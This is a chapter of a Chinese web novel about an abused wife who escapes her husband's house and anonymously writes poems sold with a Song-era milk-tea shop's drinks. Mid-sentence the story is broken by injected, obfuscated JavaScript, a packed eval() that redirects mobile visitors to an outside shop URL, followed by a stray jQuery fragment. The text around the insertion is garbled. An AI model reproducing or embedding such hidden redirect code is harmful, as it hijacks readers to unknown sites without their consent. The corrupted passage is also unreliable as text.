文趣网 > 其他小说 > 汴京食肆日常 > 28. 第 28 章
    薛默哭了好一阵,才把事情断断续续说完。

    她说,她想回自己爹生前留下的那处小院子住。

    “我爹在世时开过私塾,教了十几年书。”薛默用袖子胡乱抹了把脸,锅灰蹭得到处都是,倒像只花猫,“我也想教书。教女孩子认字、读诗……我爹教得,我也教得。”

    她说这话时,肿着的眼睛里难得亮了一下。

    夏昭垚点头:“好。这条路走得通。”

    薛默抬起头,似乎没料到她答得这样干脆。

    “你爹是秀才,教过那么多学生,你自幼耳濡目染,肚子里的学问不比那些酸儒差。”夏昭垚语气笃定,“更何况你那些诗词……”

    话还没说完。

    砰砰砰!

    院门被人从外头狠狠拍响。

    薛默浑身一激灵,脸上刚浮起的那点亮光瞬间碎了个干净,她下意识往暗处缩,后背紧紧贴着墙壁,指甲抠进掌心。

    “夏娘子!夏娘子在家么?”

    是个中年妇人的嗓门,又尖又利,带着几分急切。

    夏昭垚眉头一皱,朝薛默做了个噤声的手势。

    “我家少夫人疯了!您瞧见她没有?可千万别被她吓着!”

    她攥着薛默的手捏了捏,示意她别动,自己也纹丝不动坐在廊下。

    连灯笼都不去吹,若是突然灭了灯,反倒显得心虚。

    敲门声又响了几回,那婆子隔着门絮絮叨叨。

    “少夫人犯了失心疯,跑出去了,家里老太太急得不行……”

    “怕是没在。”另一个声音低低答,似乎是跟来的小厮,“灯还亮着,但不搭腔,兴许真睡了。”

    “那走吧,再去别家问问。”

    脚步声渐远。

    夏昭垚竖着耳朵又听了一阵,确认巷子里彻底没了动静,才松开手。

    薛默攥着她的手指,掌心全是汗。

    “疯了。”薛默苦涩地重复这两个字,嗓子干哑,“他打我打成这样,倒说我疯了。”

    “他们就是这套说辞。”夏昭垚冷声道,“你若真叫人瞧见满脸是伤跑出来,他们便说你失心疯、自己撞的,谁信你?”

    薛默嘴唇哆嗦了两下,眼眶又红了。

    她没想到何文郎会做到这个地步。

    跑了就跑了,大不了去衙门报个走失,或者悄悄把人追回来。

    可他偏偏要先定性疯了。

    这是堵死她所有开口说话的路。

    往后她若说自己被打,何家只消一句“她脑子不清楚,疯人说疯话”,便能把一切抹得干干净净。

    薛默攥着自己的衣摆,指节泛白。

    丧心病狂。

    真真是丧心病狂。

    夏昭垚沉吟片刻,开口:“你不能回你爹的院子了。”

    薛默一愣。

    “那处宅子在你名下,何家的人清楚得很。你今夜跑了,明天天一亮他们头一个找的就是那儿。”夏昭垚目光沉沉,“你一个人住在那里,前后无邻帮衬,万一他们闯进来,你如何应付的过来?”

    薛默懂了,被拖回去,关起来,再打一顿。对外依旧是“少夫人病了,在家静养”。

    没人会替她说一句话。

    薛默垂着头,半晌没出声。月光照在她乌七八糟的脸上,像块褪了色的旧绢帕。

    “那我能去哪儿?”她声音很轻,像在问夏昭垚,又像在问自己。

    夏昭垚想了想。

    她拿指头点着膝盖,一下一下,脑子里飞快盘算。

    “你得先正名。”她抬眼看薛默,语气笃定。

    “什么?”

    “你有才学。你爹是秀才,在城里教了十几年书,他的学生里头总有考中举人的吧?”

    薛默怔了一下,点头:“有。李举人和张举人都是我爹的学生,如今也在城南教书……”

    “这就是你的底气。”夏昭垚坐直身子,“何文郎如今连个秀才都不是,他靠什么在外头撑面子?靠诗。可那些诗谁写的?你写的。”

    薛默嘴唇动了动,没接话。

    “你有了名声,好多事就好办了。到时候你说什么,人家才肯信。”夏昭垚说得笃定,“一个有才有名的女先生,和一个'疯妇'——旁人会信哪个?”

    薛默沉默良久。

    道理她都明白。可名声这东西,哪里是一朝一夕能挣来的?

    夏昭垚像是看穿她的心思,忽然话锋一转:“这些日子你先住我铺子里。”

    “铺子?”

    “对。住我这儿离何家太近,容易暴露,而且铺子里头人多,又都是女的,便是被发现了他们也奈何不了你什么。”夏昭垚说着站起身,去厨房给她倒了碗温水,“而且我正好有事想请你帮忙。”

    薛默双手捧着碗,指尖还在微微发抖。

    “我新做了一道橙子奶绿,想请人写些诗词,做成竹签子随茶附赠。”夏昭垚坐回来,语气轻松,像在聊一桩寻常买卖,“你写十首,我按一首三百文的价给你,十首一共三贯。”

    薛默眨了眨眼。

    三贯。

    这个数字让她有一瞬间的恍惚。她替何文郎写了多少年诗?一文钱没见着,换来的只有拳头。

    如今有人告诉她,你的诗值钱。

    一首三百文。

    薛默的鼻子又酸了,可她使劲忍住,只是点头。

    “好。”

    嗓子还是哑的,但这个“好”字比方才的任何一句话都稳当。

    夏昭垚笑了一下:“那今晚先歇着,你慢慢写不着急。”

    薛默却已经坐不住了。

    “有纸笔吗?我现在就想写。”

    夏昭垚一怔,随即乐了:“有有有,我给你找。”

    这一夜,薛默点着一盏油灯,伏在夏昭垚家矮桌上写了大半宿。

    她写字的时候整个人像变了一个模样,肿着的眼睛不再闪躲,执笔的手稳得出奇,落笔如风行水上,干净利落。

    嘴角破了的口子因为反复抿嘴斟酌字句而又裂开,渗出一点血珠。她浑然不觉。

    天边刚泛起鱼肚白,薛默搁下笔。

    十张笺纸摊开在桌面上,墨迹新鲜,尚带湿气。

    夏昭垚刚起身就看见了这一幕,薛默趴在桌沿睡着了,手边整整齐齐码着写好的诗稿。

    她轻手轻脚走过去,拿起最上面一张。

    “露剥金橙碎玉浆,春茶浮乳透瓷香。宋街闲坐风檐下,一盏清甘消昼长。”

    夏昭垚看得眼睛发亮。

    再翻下一首。

    “晚街灯火烘茶肆,橙韵悠悠。碧乳柔柔,一盏新香解客愁,醉了闲游。风满层楼,胜却江南万斛酬。”

    好家伙。

    她一首一首看下去,越看越惊。

    这些诗词清丽婉转、余韵悠长,既有闲适雅趣又不故作高深,寥寥数笔就把一杯奶茶写活了,也没有那种文人惯有的酸腐气,读来口齿生香,恰到好处。

    夏昭垚小心翼翼把诗稿收好,心里已经开始盘算。

    三百个竹书签,限量,还得做防伪。

    五日后,一口香奶茶铺新品“橙香奶绿“正式推出。

    鲜橙汁打底,茶汤清冽回甘,入口先是橙果的酸甜,随后茶香绵绵泛上来,收尾有一丝若有若无的奶香。

    但真正让人趋之若鹜的,是随茶附赠的那枚竹书签。

    细长的竹片打磨光滑,正面刻着一首诗,背面烙着“一口香”的花押印记作为防伪,三百枚书签,十首诗各三十枚,每壶茶随机附赠一个荷包,有的荷包里头有书签,有的却没有。

    消息传开得极快。

    第一天还只是熟客尝鲜。

    第二天,铺子外头就排起了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804046|208642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    长队。

    “我要两杯橙香奶绿!”

    “给我换个签子成不?我要那首‘碧乳柔柔’的!”

    “换不了换不了,随机的!”

    铺子里热闹得跟过年似的。

    靠窗那桌坐着两个书生模样的年轻人,头碰头凑在一起看手里那枚竹签。

    “'露剥金橙碎玉浆,春茶浮乳透瓷香。宋街闲坐风檐下,一盏清甘消昼长。”一人念完,拍案叫绝,“好诗!格律工稳,意境清雅。这‘碎玉浆’三字尤其妙啊!”

    “何止!你看这‘闲坐风檐下’,用字多松弛!不是那等故意堆砌辞藻的货色。”另一人连连点头,把书签翻来覆去看了好几遍,“这是谁写的?怎么没署名?”

    “掌柜说匿名的。”

    “可惜了。这等才学,不该埋没。”

    另一边靠角落的位子,坐着几位结伴而来的女子。她们共饮了两壶橙香奶绿,手里各捏着一枚书签,正凑在一块儿品评。

    “晚街灯火烘茶肆,橙韵悠悠。碧乳柔柔,一盏新香解客愁,醉了闲游。风满层楼,胜却江南万斛酬。”领头那位穿鹅黄衫子的女子念完,眼睛弯弯,“好词!这词牌用的是‘采桑子’吧?韵脚俏皮,读着唇齿留香。”

    “胜却江南万斛酬,哎呀,好大口气!”旁边穿绿裙的女子笑着推她,“偏偏读来不觉突兀,妙极了。”

    “我要集齐十首!”另一位拍桌。

    “三百枚限量……怕是不好集。”

    “那我明天再来喝!”

    一时间,铺子里众人或低头品诗或高声议论,茶香混着书墨气,竟有几分雅集的意味。

    消息像长了腿一样往外跑。

    有那来晚了的和运气不好的客人没买着,急得不行,打听到有人手里有多余的签子,竟出价几百文求购一枚。

    一壶茶才二百八十八文。

    一枚竹片书签倒卖到五六百文。

    夏昭垚坐在小阁楼里看账本,快乐的数不着北了。

    转眼又过了几日。

    橙香奶绿的名声已经从州桥附近传到了半个城。

    城东“望月楼”的雅间里,几位文人聚饮。

    席间有人从袖中掏出一枚竹书签把玩,随口念了两句。

    “露剥金橙碎玉浆,这笔力,你们不觉得眼熟么?”

    座中一位蓝衫书生放下酒杯,皱起眉。

    他拿过那书签仔细端详,又翻来覆去看了两遍,脸上渐渐浮起一种古怪的神情。

    “……像。”

    “像什么?”

    蓝衫书生犹豫了一下,压低声音:“像何文郎的手笔。”

    此话一出,满座安静了瞬息。

    何文郎。

    那位在刘公子诗宴和昌郡王雅集上大出风头的何家大郎。

    靠着两首惊才绝艳的诗,硬是从一个商户子弟混进了文人圈子。虽然至今连个秀才功名都没有,但架不住那两首诗确实写得好,旁人不好不给面子。

    可最近……

    “说起来,何文郎有阵子没露面了吧?”有人接话,“上回昌郡王办赏菊宴请他去,他都推了。”

    “听说家里出了点事,夫人疯了还是跑了什么的……”

    “且不管他。”蓝衫书生敲了敲那枚竹签,“这文风,用词习惯、遣句节奏,和何文郎那两首成名诗如出一辙。可这签子出自城西那个什么一口香奶茶铺,跟何家八竿子打不着。”

    “那就是巧合呗。“

    “十首诗,首首风格一致,首首和何文郎像,这叫巧合?”

    众人面面相觑。

    蓝衫书生把那枚竹签揣回袖中,若有所思地捻着茶杯。

    他没再说话,但心里已经留了个结。

    到底是何文郎的诗被人学了去,还是……

    一开始就不是何文郎写的?